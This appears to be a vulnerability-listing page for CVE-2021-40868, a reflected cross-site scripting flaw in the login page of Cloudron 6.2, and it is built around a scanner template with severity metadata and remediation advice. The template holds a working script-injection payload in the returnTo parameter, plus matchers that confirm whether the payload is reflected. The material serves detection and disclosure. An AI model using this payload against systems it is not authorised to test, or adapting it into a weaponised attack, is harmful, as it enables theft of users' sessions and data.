CVE-2021-40868: Cloudron 6.2 Cross-Site Scripting

2025-08-01 Cloudron PoC Public

Description

In Cloudron 6.2, the returnTo parameter on the login page is vulnerable to cross-site scripting.

PoC

id: CVE-2021-40868

info:
  name: Cloudron 6.2 Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: In Cloudron 6.2, the returnTo parameter on the login page is vulnerable to cross-site scripting.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: Upgrade to Cloudron 6.3 or higher.
  reference:
    - https://packetstormsecurity.com/files/164255/Cloudron-6.2-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40868
    - https://packetstormsecurity.com/files/164183/Cloudron-6.2-Cross-Site-Scripting.html
    - https://www.cloudron.io/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-40868
    cwe-id: CWE-79
    epss-score: 0.09071
    epss-percentile: 0.95021
    cpe: cpe:2.3:a:cloudron:cloudron:6.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cloudron
    product: cloudron
  tags: cve2021,cve,xss,cloudron,packetstorm,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/login.html?returnTo=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: status
        status:
          - 200
# digest: 490a0046304402202d0792ef4eaf191642ba826c82589ee722aaab9d2aff583d250b5b83ed9d318e02202e5ce25e34fd3aee4daa2479e67f607d21bbe5213c8bc72178efbcf572bd5e3d:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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